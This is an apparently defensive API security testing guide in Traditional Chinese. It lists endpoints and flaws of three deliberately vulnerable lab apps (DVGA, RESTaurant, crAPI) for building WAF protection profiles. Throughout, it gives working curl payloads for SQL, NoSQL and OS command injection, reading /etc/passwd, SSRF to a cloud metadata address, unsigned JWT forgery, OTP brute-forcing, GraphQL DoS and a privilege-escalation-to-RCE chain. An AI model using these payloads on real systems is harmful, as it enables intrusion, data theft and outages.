API 測試指南
本指南收錄了三個 API 安全測試應用程式中所有 API 端點、已知漏洞及攻擊酬載。可用於建立 F5 XC API 保護設定檔開發的流量生成模式。
| 應用程式 | 協定 | 路徑 | 埠號 | 驗證 | 漏洞 |
|---|---|---|---|---|---|
| DVGA | GraphQL | /dvga/ | 80 | 無(管理員:admin/password) | 25 個情境 |
| RESTaurant | REST (FastAPI) | /restaurant/ | 80 | JWT(表單編碼) | 7 個 OWASP API 2023 類別 |
| crAPI | REST(微服務) | / | 8888 | JWT(Bearer) | 18+ 個挑戰 |
ORIGIN="http://<ORIGIN_IP>"CRAPI="http://<ORIGIN_IP>:8888"DVGA(Damn Vulnerable GraphQL Application)
Section titled “DVGA(Damn Vulnerable GraphQL Application)”GraphQL 端點: POST ${ORIGIN}/dvga/graphql
GraphiQL IDE: GET ${ORIGIN}/dvga/
管理員憑證: admin / password
所有 DVGA 操作均使用單一端點(/dvga/graphql),以包含 JSON {"query":"..."} 酬載的 POST 請求進行。
Queries: pastes, paste, me, systemHealth, systemUpdate, systemDiagnosticsMutations: createPaste, importPaste, uploadPasteTypes: PasteObject (id, title, content, public, owner, ipAddr, userAgent) OwnerObject (id, username, pastes) ← circular reference| 操作 | 類型 | 驗證 | 用途 |
|---|---|---|---|
pastes(public, filter, limit) | Query | 否 | 列出貼文(filter 參數存在 SQL 注入) |
paste(id) | Query | 否 | 取得單一貼文 |
me(token) | Query | 否 | 依 JWT 取得使用者(可被偽造) |
systemHealth | Query | 否 | 健康檢查 |
systemUpdate | Query | 否 | 緩慢查詢(約 82 秒,DoS 攻擊向量) |
systemDiagnostics(cmd) | Query | admin/password | 執行白名單 OS 指令 |
createPaste(title, content, public) | Mutation | 否 | 建立貼文(content 存在 XSS) |
importPaste(host, port, path, scheme) | Mutation | 否 | 匯入遠端貼文(SSRF、指令注入) |
uploadPaste(filename, content) | Mutation | 否 | 上傳貼文(路徑遍歷) |
1. 阻斷服務(6 個情境)
Section titled “1. 阻斷服務(6 個情境)”批次查詢攻擊:
curl -X POST ${ORIGIN}/dvga/graphql \ -H "Content-Type: application/json" \ -d '[{"query":"{systemUpdate}"},{"query":"{systemUpdate}"},{"query":"{systemUpdate}"}]'深度遞迴(Owner/Paste 循環參考):
curl -X POST ${ORIGIN}/dvga/graphql \ -H "Content-Type: application/json" \ -d '{"query":"{pastes{owner{pastes{owner{pastes{owner{pastes{owner{pastes{title}}}}}}}}}}"}'資源密集查詢(約 82 秒回應):
curl -X POST ${ORIGIN}/dvga/graphql \ -H "Content-Type: application/json" \ -d '{"query":"{systemUpdate}"}'欄位重複(重複欄位 500 次以上):
curl -X POST ${ORIGIN}/dvga/graphql \ -H "Content-Type: application/json" \ -d '{"query":"{pastes{title title title title title title title title title title title title title title title title title title title title}}"}'別名攻擊(1000 個別名操作):
curl -X POST ${ORIGIN}/dvga/graphql \ -H "Content-Type: application/json" \ -d '{"query":"{q0:systemUpdate q1:systemUpdate q2:systemUpdate q3:systemUpdate q4:systemUpdate q5:systemUpdate q6:systemUpdate q7:systemUpdate q8:systemUpdate q9:systemUpdate}"}'2. 資訊洩露(5 個情境)
Section titled “2. 資訊洩露(5 個情境)”內省(完整結構描述枚舉):
curl -X POST ${ORIGIN}/dvga/graphql \ -H "Content-Type: application/json" \ -d '{"query":"{__schema{types{name fields{name args{name type{name}}}}}}"}'欄位建議(錯字揭露有效欄位):
curl -X POST ${ORIGIN}/dvga/graphql \ -H "Content-Type: application/json" \ -d '{"query":"{pastes{titl}}"}'透過 importPaste 進行 SSRF(探測內部服務):
curl -X POST ${ORIGIN}/dvga/graphql \ -H "Content-Type: application/json" \ -d '{"query":"mutation{importPaste(host:\"localhost\",port:57575,path:\"/\",scheme:\"http\"){result}}"}'3. 注入(4 個情境)
Section titled “3. 注入(4 個情境)”透過 filter 參數進行 SQL 注入:
curl -X POST ${ORIGIN}/dvga/graphql \ -H "Content-Type: application/json" \ -d '{"query":"{pastes(filter:\"aaa\\u0027 OR 1=1--\"){id title content public}}"}'透過 createPaste 進行儲存型 XSS:
curl -X POST ${ORIGIN}/dvga/graphql \ -H "Content-Type: application/json" \ -d '{"query":"mutation{createPaste(title:\"<img src=x onerror=alert(1)>\",content:\"xss\",public:true){paste{id title}}}"}'日誌注入(操作名稱偽造):
curl -X POST ${ORIGIN}/dvga/graphql \ -H "Content-Type: application/json" \ -d '{"query":"mutation getPaste{createPaste(title:\"injected\",content:\"hidden mutation\",public:true){paste{id}}}"}'4. 程式碼執行(3 個情境)
Section titled “4. 程式碼執行(3 個情境)”透過 importPaste 進行 OS 指令注入:
curl -X POST ${ORIGIN}/dvga/graphql \ -H "Content-Type: application/json" \ -d '{"query":"mutation{importPaste(host:\"localhost\",port:80,path:\"/ ; uname -a\",scheme:\"http\"){result}}"}'透過 systemDiagnostics 執行 OS 指令(需要管理員驗證):
curl -X POST ${ORIGIN}/dvga/graphql \ -H "Content-Type: application/json" \ -d '{"query":"{systemDiagnostics(cmd:\"id\")}"}'5. 授權繞過(3 個情境)
Section titled “5. 授權繞過(3 個情境)”JWT Token 偽造(接受未簽署的 Token):
curl -X POST ${ORIGIN}/dvga/graphql \ -H "Content-Type: application/json" \ -d '{"query":"{me(token:\"eyJhbGciOiJub25lIn0.eyJ1c2VybmFtZSI6ImFkbWluIn0.\"){username}}"}'透過 uploadPaste 任意寫入檔案(路徑遍歷):
curl -X POST ${ORIGIN}/dvga/graphql \ -H "Content-Type: application/json" \ -d '{"query":"mutation{uploadPaste(filename:\"../../../tmp/test.txt\",content:\"path traversal test\"){result}}"}'RESTaurant API(Damn Vulnerable RESTaurant)
Section titled “RESTaurant API(Damn Vulnerable RESTaurant)”Swagger UI: ${ORIGIN}/restaurant/docs
OpenAPI 規格: ${ORIGIN}/restaurant/openapi.json
驗證: 透過表單編碼 POST 至 /restaurant/token 取得 JWT
角色: Customer(預設)、Employee、Chef(管理員)
設定:註冊與驗證
Section titled “設定:註冊與驗證”# 註冊測試使用者curl -X POST ${ORIGIN}/restaurant/register \ -H "Content-Type: application/json" \ -d '{"username":"attacker","password":"Attack123","first_name":"Test","last_name":"User","phone_number":"5551234567"}'
# 取得 JWT Token(注意:使用表單編碼,非 JSON)TOKEN=$(curl -sf -X POST ${ORIGIN}/restaurant/token \ -H "Content-Type: application/x-www-form-urlencoded" \ -d "username=attacker&password=Attack123" | python3 -c "import sys,json; print(json.load(sys.stdin)['access_token'])")
echo "Bearer token: ${TOKEN}"| 端點 | 方法 | 驗證 | 角色 | 漏洞 |
|---|---|---|---|---|
/restaurant/register | POST | 否 | — | 使用者建立 |
/restaurant/token | POST | 否 | — | JWT 弱密鑰(97952) |
/restaurant/healthcheck | GET | 否 | — | 健康檢查 |
/restaurant/profile | GET | 是 | 任意 | 使用者設定檔 |
/restaurant/profile | PUT | 是 | 任意 | BOLA(修改其他使用者) |
/restaurant/profile | PATCH | 是 | 任意 | BOPLA(大量指派角色) |
/restaurant/users/update_role | PUT | 是 | 任意 | BFLA(角色提權) |
/restaurant/menu | GET | 是 | 任意 | 列出菜單項目 |
/restaurant/menu | PUT | 是 | Employee 以上 | 建立菜單(圖片存在 SSRF) |
/restaurant/menu/{item_id} | PUT | 是 | Employee 以上 | 更新菜單(圖片存在 SSRF) |
/restaurant/menu/{item_id} | DELETE | 是 | 任意 | BFLA(任意使用者可刪除) |
/restaurant/orders | GET | 是 | 任意 | BOLA(查看所有訂單) |
/restaurant/orders | POST | 是 | 任意 | 建立訂單 |
/restaurant/orders/{order_id} | GET | 是 | 任意 | BOLA(存取其他訂單) |
/restaurant/orders/status/{order_id} | GET | 是 | 任意 | 訂單狀態 |
/restaurant/admin/stats/disk | GET | 是 | Chef | 指令注入 |
/restaurant/reset-password | POST | 否 | — | 密碼重設請求 |
/restaurant/reset-password/new-password | POST | 否 | — | 設定新密碼 |
/restaurant/referral-code | GET | 是 | 任意 | 取得推薦碼 |
/restaurant/apply-referral | POST | 是 | 任意 | 套用推薦碼 |
/restaurant/discount-coupons | GET | 是 | 任意 | 列出優惠券 |
API1:2023 — 物件層級授權缺陷(BOLA)
Section titled “API1:2023 — 物件層級授權缺陷(BOLA)”修改其他使用者的設定檔:
curl -X PUT ${ORIGIN}/restaurant/profile \ -H "Authorization: Bearer ${TOKEN}" \ -H "Content-Type: application/json" \ -d '{"username":"chef","phone_number":"hacked","first_name":"Pwned","last_name":"User"}'存取其他使用者的訂單(枚舉 offset):
for i in 1 2 3 4 5; do curl -sf ${ORIGIN}/restaurant/orders/${i} \ -H "Authorization: Bearer ${TOKEN}" 2>&1 echo ""doneAPI2:2023 — 身份驗證缺陷
Section titled “API2:2023 — 身份驗證缺陷”JWT 弱密鑰暴力破解(密鑰為 6 位數:97952):
# 在 jwt.io 解碼並偽造 Token# 密鑰:97952(可使用 hashcat -a 3 -m 16500 token '?d?d?d?d?d?d' 暴力破解)
# 偽造 Chef Token:# Header: {"alg":"HS256","typ":"JWT"}# Payload: {"sub":"chef","exp":9999999999}# 使用密鑰 97952 簽署API3:2023 — 物件屬性層級授權缺陷(BOPLA)
Section titled “API3:2023 — 物件屬性層級授權缺陷(BOPLA)”大量指派角色,從 Customer 升為 Chef:
curl -X PATCH ${ORIGIN}/restaurant/profile \ -H "Authorization: Bearer ${TOKEN}" \ -H "Content-Type: application/json" \ -d '{"role":"Chef"}'提權路徑:Customer → Employee → Chef:
# 步驟 1:提權至 Employeecurl -X PATCH ${ORIGIN}/restaurant/profile \ -H "Authorization: Bearer ${TOKEN}" \ -H "Content-Type: application/json" \ -d '{"role":"Employee"}'
# 步驟 2:提權至 Chefcurl -X PATCH ${ORIGIN}/restaurant/profile \ -H "Authorization: Bearer ${TOKEN}" \ -H "Content-Type: application/json" \ -d '{"role":"Chef"}'API5:2023 — 功能層級授權缺陷(BFLA)
Section titled “API5:2023 — 功能層級授權缺陷(BFLA)”以 Customer 身份刪除菜單項目(應需要 Employee 以上角色):
curl -X DELETE ${ORIGIN}/restaurant/menu/1 \ -H "Authorization: Bearer ${TOKEN}"變更其他使用者的角色:
curl -X PUT ${ORIGIN}/restaurant/users/update_role \ -H "Authorization: Bearer ${TOKEN}" \ -H "Content-Type: application/json" \ -d '{"username":"chef","role":"Customer"}'API7:2023 — 伺服器端請求偽造(SSRF)
Section titled “API7:2023 — 伺服器端請求偽造(SSRF)”透過菜單 image_url 探測內部端點(需要 Employee 角色):
# 先透過 BOPLA 提權至 Employee,然後:curl -X PUT ${ORIGIN}/restaurant/menu \ -H "Authorization: Bearer ${TOKEN}" \ -H "Content-Type: application/json" \ -d '{"name":"SSRF Test","price":1.00,"category":"Test","image_url":"http://127.0.0.1:8091/admin/reset-chef-password"}'API8:2023 — 注入
Section titled “API8:2023 — 注入”透過磁碟統計資訊進行 OS 指令注入(需要 Chef 角色):
# 提權至 Chef 後:curl -sf "${ORIGIN}/restaurant/admin/stats/disk?parameters=;whoami" \ -H "Authorization: Bearer ${TOKEN}"
curl -sf "${ORIGIN}/restaurant/admin/stats/disk?parameters=;cat%20/etc/passwd" \ -H "Authorization: Bearer ${TOKEN}"完整攻擊鏈:Customer 至 Root
Section titled “完整攻擊鏈:Customer 至 Root”# 1. 註冊curl -X POST ${ORIGIN}/restaurant/register \ -H "Content-Type: application/json" \ -d '{"username":"hacker","password":"Hack123","first_name":"H","last_name":"X","phone_number":"0"}'
# 2. 取得 TokenTOKEN=$(curl -sf -X POST ${ORIGIN}/restaurant/token \ -d "username=hacker&password=Hack123" | python3 -c "import sys,json;print(json.load(sys.stdin)['access_token'])")
# 3. 提權至 Chef(BOPLA)curl -X PATCH ${ORIGIN}/restaurant/profile \ -H "Authorization: Bearer ${TOKEN}" \ -H "Content-Type: application/json" \ -d '{"role":"Chef"}'
# 4. 重新驗證以取得 Chef 層級的 TokenTOKEN=$(curl -sf -X POST ${ORIGIN}/restaurant/token \ -d "username=hacker&password=Hack123" | python3 -c "import sys,json;print(json.load(sys.stdin)['access_token'])")
# 5. 指令注入(RCE)curl -sf "${ORIGIN}/restaurant/admin/stats/disk?parameters=;id" \ -H "Authorization: Bearer ${TOKEN}"crAPI(OWASP Completely Ridiculous API)
Section titled “crAPI(OWASP Completely Ridiculous API)”Web UI: ${CRAPI}/
MailHog: ${CRAPI}/mailhog/(用於驗證信件擷取的電子郵件捕獲服務)
驗證: JWT Bearer Token(RS256,易受演算法混淆攻擊)
架構: 7 個微服務(identity、community、workshop、postgres、mongo、mailhog、web)
設定:註冊、驗證電子郵件、登入
Section titled “設定:註冊、驗證電子郵件、登入”# 1. 註冊curl -X POST ${CRAPI}/identity/api/auth/signup \ -H "Content-Type: application/json" \ -d '{"name":"Test User","email":"tester@example.com","number":"5551234567","password":"TestPass123"}'
# 2. 在 MailHog 中查看驗證信# 瀏覽 ${CRAPI}/mailhog/ 或使用 MailHog API:curl -sf ${CRAPI}/mailhog/api/v2/messages | python3 -c "import sys,jsonmsgs = json.load(sys.stdin)['items']for m in msgs: print(f\"To: {m['Raw']['To'][0]}, Subject: {m['Content']['Headers']['Subject'][0]}\")"
# 3. 登入並取得 JWT TokenTOKEN=$(curl -sf -X POST ${CRAPI}/identity/api/auth/login \ -H "Content-Type: application/json" \ -d '{"email":"tester@example.com","password":"TestPass123"}' | python3 -c "import sys,json;print(json.load(sys.stdin)['token'])")
echo "Bearer token: ${TOKEN}"Identity 服務
Section titled “Identity 服務”| 端點 | 方法 | 驗證 | 漏洞 |
|---|---|---|---|
/identity/api/auth/signup | POST | 否 | 使用者註冊 |
/identity/api/auth/login | POST | 否 | JWT Token(演算法混淆) |
/identity/api/auth/forget-password | POST | 否 | 請求 OTP |
/identity/api/auth/v2/check-otp | POST | 否 | 無速率限制(暴力破解 4 位數 OTP) |
/identity/api/auth/v3/check-otp | POST | 否 | 有速率限制的版本 |
/identity/api/v2/user/dashboard | GET | 是 | 使用者設定檔 |
/identity/api/v2/user/change-email | PUT | 是 | 電子郵件變更 |
/identity/api/v2/vehicle/vehicles | GET | 是 | 列出車輛(洩露 UUID) |
/identity/api/v2/vehicle/{uuid}/location | GET | 是 | BOLA(任意使用者的車輛) |
/identity/api/v2/user/videos | POST | 是 | 影片上傳 |
/identity/api/v2/user/videos/{id} | GET | 是 | 資料洩露(conversion_params) |
/identity/api/v2/user/videos/{id} | PUT | 是 | 大量指派(指令注入) |
/identity/api/v2/admin/videos/{id} | DELETE | 是 | BFLA(無管理員驗證) |
Community 服務
Section titled “Community 服務”| 端點 | 方法 | 驗證 | 漏洞 |
|---|---|---|---|
/community/api/v2/community/posts | GET | 是 | 資料洩露(洩露 vehicle_id、email) |
/community/api/v2/community/posts | POST | 是 | 建立部落格文章 |
/community/api/v2/community/posts/{id}/comments | POST | 是 | 新增留言 |
/community/api/v2/coupon/validate-coupon | POST | 是 | NoSQL 注入 |
Workshop 服務
Section titled “Workshop 服務”| 端點 | 方法 | 驗證 | 漏洞 |
|---|---|---|---|
/workshop/api/mechanic | GET | 是 | 資料洩露(技師電子郵件) |
/workshop/api/mechanic/mechanic_report | GET | 否 | BOLA(無驗證,循序 ID) |
/workshop/api/merchant/contact_mechanic | POST | 是 | SSRF + DoS |
/workshop/api/shop/products | GET | 是 | 產品目錄 |
/workshop/api/shop/orders/ | POST | 是 | 建立訂單 |
/workshop/api/shop/orders/all | GET | 是 | 列出訂單 |
/workshop/api/shop/orders/{id} | GET | 否 | BOLA(無需驗證) |
/workshop/api/shop/orders/{id} | PUT | 是 | 大量指派(status、quantity) |
/workshop/api/shop/apply_coupon | POST | 是 | SQL 注入 |
挑戰 1 — BOLA:存取其他使用者的車輛位置
Section titled “挑戰 1 — BOLA:存取其他使用者的車輛位置”# 先取得您的車輛 UUIDcurl -sf ${CRAPI}/identity/api/v2/vehicle/vehicles \ -H "Authorization: Bearer ${TOKEN}"
# 存取其他使用者的車輛(替換 UUID)curl -sf ${CRAPI}/identity/api/v2/vehicle/VICTIM-UUID-HERE/location \ -H "Authorization: Bearer ${TOKEN}"挑戰 2 — BOLA:存取技師報告(無需驗證)
Section titled “挑戰 2 — BOLA:存取技師報告(無需驗證)”# 循序 ID 枚舉——無需 Tokenfor i in 1 2 3 4 5; do echo "Report $i:" curl -sf "${CRAPI}/workshop/api/mechanic/mechanic_report?report_id=${i}" echo ""done挑戰 3 — 身份驗證缺陷:暴力破解密碼重設 OTP
Section titled “挑戰 3 — 身份驗證缺陷:暴力破解密碼重設 OTP”# 對受害者請求 OTPcurl -X POST ${CRAPI}/identity/api/auth/forget-password \ -H "Content-Type: application/json" \ -d '{"email":"victim@example.com"}'
# 暴力破解 4 位數 OTP(v2 無速率限制)for otp in $(seq -w 0000 9999); do RESULT=$(curl -sf -X POST ${CRAPI}/identity/api/auth/v2/check-otp \ -H "Content-Type: application/json" \ -d "{\"email\":\"victim@example.com\",\"otp\":\"${otp}\"}" 2>&1) echo "$otp: $RESULT" | grep -v "Invalid OTP" && breakdone挑戰 4 — 資料洩露:洩露技師電子郵件
Section titled “挑戰 4 — 資料洩露:洩露技師電子郵件”curl -sf ${CRAPI}/workshop/api/mechanic \ -H "Authorization: Bearer ${TOKEN}" | python3 -m json.tool挑戰 5 — 資料洩露:內部影片轉換參數
Section titled “挑戰 5 — 資料洩露:內部影片轉換參數”# 上傳影片後,檢查回應curl -sf ${CRAPI}/identity/api/v2/user/videos \ -H "Authorization: Bearer ${TOKEN}" | python3 -m json.tool# 在回應中尋找 conversion_params 欄位挑戰 6 — DoS:透過聯絡技師進行第 7 層攻擊
Section titled “挑戰 6 — DoS:透過聯絡技師進行第 7 層攻擊”curl -X POST ${CRAPI}/workshop/api/merchant/contact_mechanic \ -H "Authorization: Bearer ${TOKEN}" \ -H "Content-Type: application/json" \ -d '{ "mechanic_code":"MECH001", "problem_details":"Engine issue", "vin":"VEHICLE_VIN", "mechanic_api":"http://localhost:8080/api", "repeat_request_if_failed":true, "number_of_repeats":100 }'挑戰 7 — BFLA:透過管理員端點刪除影片
Section titled “挑戰 7 — BFLA:透過管理員端點刪除影片”# 一般使用者可存取管理員端點curl -X DELETE ${CRAPI}/identity/api/v2/admin/videos/VIDEO_ID_HERE \ -H "Authorization: Bearer ${TOKEN}"挑戰 8 與 9 — 大量指派:透過訂單操控取得免費商品
Section titled “挑戰 8 與 9 — 大量指派:透過訂單操控取得免費商品”# 將 GET 改為 PUT,修改 status 與 quantitycurl -X PUT ${CRAPI}/workshop/api/shop/orders/1 \ -H "Authorization: Bearer ${TOKEN}" \ -H "Content-Type: application/json" \ -d '{"status":"returned","quantity":100}'挑戰 10 — 透過影片轉換參數進行指令注入
Section titled “挑戰 10 — 透過影片轉換參數進行指令注入”curl -X PUT ${CRAPI}/identity/api/v2/user/videos/VIDEO_ID \ -H "Authorization: Bearer ${TOKEN}" \ -H "Content-Type: application/json" \ -d '{"conversion_params":"-v codec h264; cat /etc/passwd"}'挑戰 11 — 透過聯絡技師進行 SSRF
Section titled “挑戰 11 — 透過聯絡技師進行 SSRF”curl -X POST ${CRAPI}/workshop/api/merchant/contact_mechanic \ -H "Authorization: Bearer ${TOKEN}" \ -H "Content-Type: application/json" \ -d '{ "mechanic_code":"MECH001", "problem_details":"test", "vin":"VIN123", "mechanic_api":"http://169.254.169.254/latest/meta-data/", "repeat_request_if_failed":false, "number_of_repeats":0 }'挑戰 12 — NoSQL 注入:擷取優惠券代碼
Section titled “挑戰 12 — NoSQL 注入:擷取優惠券代碼”curl -X POST ${CRAPI}/community/api/v2/coupon/validate-coupon \ -H "Authorization: Bearer ${TOKEN}" \ -H "Content-Type: application/json" \ -d '{"coupon_code":{"$ne":1}}'挑戰 13 — SQL 注入:多次兌換優惠券
Section titled “挑戰 13 — SQL 注入:多次兌換優惠券”curl -X POST ${CRAPI}/workshop/api/shop/apply_coupon \ -H "Authorization: Bearer ${TOKEN}" \ -H "Content-Type: application/json" \ -d "{\"coupon_code\":\"TRAC075' OR '1'='1\"}"挑戰 14 — 未驗證訂單存取
Section titled “挑戰 14 — 未驗證訂單存取”# 無 Authorization 標頭——仍然回傳資料for i in 1 2 3 4 5; do curl -sf ${CRAPI}/workshop/api/shop/orders/${i} echo ""done挑戰 15 — JWT 演算法混淆
Section titled “挑戰 15 — JWT 演算法混淆”# 使用演算法「none」偽造 JWT(無簽章驗證):# 1. 設定 Header:{"alg":"none","typ":"JWT"} 並以 base64url 編碼# 2. 設定 Payload:{"email":"admin@example.com","role":"admin"} 並以 base64url 編碼# 3. 以點號連接,留空簽章:<header>.<payload>.HEADER=$(echo -n '{"alg":"none","typ":"JWT"}' | base64 -w0 | tr '+/' '-_' | tr -d '=')PAYLOAD=$(echo -n '{"email":"admin@example.com","role":"admin"}' | base64 -w0 | tr '+/' '-_' | tr -d '=')FORGED="${HEADER}.${PAYLOAD}."
curl -sf ${CRAPI}/identity/api/v2/user/dashboard \ -H "Authorization: Bearer ${FORGED}"OWASP API 安全十大風險對照表
Section titled “OWASP API 安全十大風險對照表”| OWASP 類別 | DVGA | RESTaurant | crAPI |
|---|---|---|---|
| API1: BOLA | — | PUT /profile、GET /orders/{id} | 車輛位置、技師報告、訂單 |
| API2: 身份驗證缺陷 | JWT 偽造(me 查詢) | JWT 弱密鑰(97952) | OTP 暴力破解(v2)、JWT 演算法混淆 |
| API3: BOPLA | — | PATCH /profile(角色提權) | 影片 conversion_params、技師電子郵件洩露 |
| API4: 資源消耗 | 批次、遞迴、別名、欄位重複 DoS | 透過回應長度枚舉使用者 | contact_mechanic repeat_request DoS |
| API5: BFLA | — | DELETE /menu、PUT /users/update_role | 以一般使用者身份呼叫 DELETE /admin/videos |
| API6: 大量指派 | — | PUT /orders(status、quantity) | 訂單 status/quantity、影片 conversion_params |
| API7: SSRF | importPaste mutation | PUT /menu image_url | contact_mechanic mechanic_api URL |
| API8: 注入 | SQL(filter)、XSS(content)、OS 指令(importPaste、systemDiagnostics) | OS 指令(/admin/stats/disk?parameters=) | NoSQL(validate-coupon)、SQL(apply_coupon) |
| API9: 不當資產管理 | — | — | 已棄用的 /auth/v2/check-otp(無速率限制) |
| API10: 不安全的第三方消費 | — | — | (透過 SSRF 間接觸發) |
| GraphQL 專屬 | 內省、批次查詢、遞迴、別名、欄位重複、循環片段 | — | — |
流量生成模式
Section titled “流量生成模式”第一階段:基準線(正常路徑)
Section titled “第一階段:基準線(正常路徑)”在測試攻擊模式之前,先產生合法流量以建立正常 API 行為基準。
DVGA 基準線:
# 正常查詢curl -X POST ${ORIGIN}/dvga/graphql -H "Content-Type: application/json" -d '{"query":"{pastes{id title}}"}'curl -X POST ${ORIGIN}/dvga/graphql -H "Content-Type: application/json" -d '{"query":"mutation{createPaste(title:\"note\",content:\"hello\",public:true){paste{id}}}"}'RESTaurant 基準線:
curl -sf ${ORIGIN}/restaurant/menu -H "Authorization: Bearer ${TOKEN}"curl -sf ${ORIGIN}/restaurant/profile -H "Authorization: Bearer ${TOKEN}"curl -X POST ${ORIGIN}/restaurant/orders -H "Authorization: Bearer ${TOKEN}" -H "Content-Type: application/json" -d '{"menu_item_id":1,"quantity":1}'crAPI 基準線:
curl -sf ${CRAPI}/identity/api/v2/user/dashboard -H "Authorization: Bearer ${TOKEN}"curl -sf ${CRAPI}/workshop/api/shop/products -H "Authorization: Bearer ${TOKEN}"curl -sf ${CRAPI}/community/api/v2/community/posts -H "Authorization: Bearer ${TOKEN}"第二階段:依 OWASP 類別分類的攻擊流量
Section titled “第二階段:依 OWASP 類別分類的攻擊流量”BOLA 測試: 枚舉循序 ID、在請求中替換使用者識別碼、無擁有權地存取資源。
注入測試: 在 filter/coupon 參數中放入 SQL 酬載、GraphQL 查詢注入、透過參數欄位進行 OS 指令注入。
驗證繞過測試: 偽造 JWT Token、暴力破解 OTP、使用已棄用的 API 版本、演算法混淆。
SSRF 測試: 在 importPaste、image_url 及 mechanic_api 參數中放入內部 URL。
DoS 測試: GraphQL 批次/遞迴/別名攻擊、以高次數搭配 repeat_request_if_failed。
第三階段:有狀態攻擊鏈
Section titled “第三階段:有狀態攻擊鏈”部分攻擊需要具備狀態的多步驟序列:
- RESTaurant 提權鏈: 註冊 → 取得 Token → PATCH 角色至 Chef → 重新驗證 → 指令注入
- crAPI 完整流程: 註冊 → 驗證電子郵件(MailHog)→ 登入 → 新增車輛 → 聯絡技師(SSRF)→ 訂單操控
- DVGA 偵察至利用: 內省 → 發現 systemDiagnostics → 暴力破解管理員憑證 → OS 指令執行
| 模式 | 請求數/秒 | 持續時間 | 備註 |
|---|---|---|---|
| 基準線(每個應用程式) | 10–50 | 5 分鐘 | 建立正常流量指紋 |
| BOLA 枚舉 | 100–500 | 2 分鐘 | 循序 ID 掃描 |
| OTP 暴力破解 | 1000+ | 直到找到為止 | 最多 10,000 次嘗試(4 位數) |
| GraphQL DoS | 10–50 | 30 秒 | 每個請求對伺服器端的消耗均較高 |
| 注入模糊測試 | 50–200 | 5 分鐘 | 每次請求變換酬載 |
| SSRF 探測 | 5–20 | 2 分鐘 | 速度較慢;每次觸發伺服器端 HTTP 請求 |